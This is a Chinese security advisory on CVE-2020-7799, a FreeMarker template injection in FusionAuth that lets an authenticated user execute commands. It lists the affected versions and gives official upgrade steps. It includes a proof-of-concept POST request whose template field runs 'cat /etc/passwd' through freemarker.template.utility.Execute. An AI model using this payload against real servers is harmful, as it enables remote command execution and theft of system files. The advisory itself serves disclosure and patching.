1.漏洞概述

北京时间1月28日,NVD发布了一个FusionAuth存在Apache Freemarker模板远程命令执行(CVE-2020-7799)的漏洞;发现在FusionAuth中经过身份验证的用户可以编辑电子邮件模板(Home->Settings->Email Templates)或主题(Home->Settings->Themes),从而通过处理自定义模板的Apache FreeMarker引擎中的freemarker.template.utility.Execute在底层操作系统上执行任意命令。
FusionAuth是现代的访问管理开源应用程序,可以与多种技术和平台集成。可以通过管理仪表板以多种方式配置和自定义FusionAuth,为任何应用程序提供身份验证、授权和用户管理;由于使用Apache FreeMarker模板引擎,且未对用户输入数据进行过滤,此漏洞将对服务器安全造成严重威胁,目前PoC已公开,请相关用户及时进行防护。
参考链接:
https://nvd.nist.gov/vuln/detail/CVE-2020-7799

2.影响范围

受影响版本
FusionAuth <= 1.10.1
不受影响版本
FusionAuth >= 1.11

3.漏洞复现

在web管理页面左下方可查看当前所使用的FusionAuth版本:

Proof of Concept
Example POST request (Home -> Settings -> Email Templates -> Preview):

  1. POST /ajax/email/template/preview HTTP/1.1
  2. Host: 192.168.0.3:9011
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
  4. Accept: */*
  5. Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 796
  9. DNT: 1
  10. Connection: close
  11. Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
  12. Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;
  13. primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}

4.漏洞防护

4.1 官方升级

4.1.1 快速升级

选择快速安装的用户可以使用如下方法升级FusionAuth到最新版本:
Linux:
使用ZIP包方式安装的用户,首先进入应用的安装目录下,停止当前程序:
/bin/shutdown.sh
进入安装目录的上级目录(例:安装目录为/usr/local/fusionauth,则进入/usr/local/目录),执行以下命令进行升级:
sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh -s - -z"
进入安装目录,启动程序:
/bin/startup.sh
使用DEB或RPM包安装的用户,执行以下命令进行升级:
sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh"
启动程序:
sudo service fusionauth-search start sudo service fusionauth-app start
Windows:
进入安装目录下,停止当前程序:
net stop FusionAuthApp
net stop FusionAuthSearch
安装最新版本:
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.ps1')
启动程序:
\bin\startup.bat
详细升级过程可参考官方的升级文档:
https://fusionauth.io/docs/v1/tech/installation-guide/fast-path

4.1.2 手动升级

选择手动安装的用户可以使用如下方法升级FusionAuth到最新版本:
Linux:
进入安装目录,停止程序并进行卸载:
# 停止程序
/bin/shutdown.sh
# 卸载
rm -rf ./fusionauth-app
rm -rf ./fusionauth-search
rm -rf ./bin
访问以下链接下载最新的程序包(1.14.0版):
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip
进入安装目录,解压安装包:
unzip -nq new-fusionauth-app.zip
unzip -nq new-fusionauth-search.zip
启动程序:
/bin/startup.sh
Windows:
进入程序安装目录,停止程序并进行卸载:
# 停止程序
net stop FusionAuthApp
net stop FusionAuthSearch
# 卸载程序
cd \fusionauth\fusionauth-app\apache-tomcat\bin
FusionAuthApp.exe /uninstall
cd \fusionauth\fusionauth-search\elasticsearch\bin
FusionAuthSearch.exe /uninstall
# 移除原目录
cd \fusionauth
move fusionauth-app fusionauth-app-old move fusionauth-search fusionauth-search-old
访问以下链接下载最新的程序包(1.14.0版):
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip
将上述压缩包解压后,进行安装:
# 安装
cd \fusionauth\fusionauth-app\apache-tomcat\bin
FusionAuthApp.exe /install
cd \fusionauth\fusionauth-search\elasticsearch\bin
FusionAuthSearch.exe /install
# 启动程序
net start FusionAuthSearch net start FusionAuthApp
详细升级过程可参考官方升级文档:
https://fusionauth.io/docs/v1/tech/installation-guide/upgrade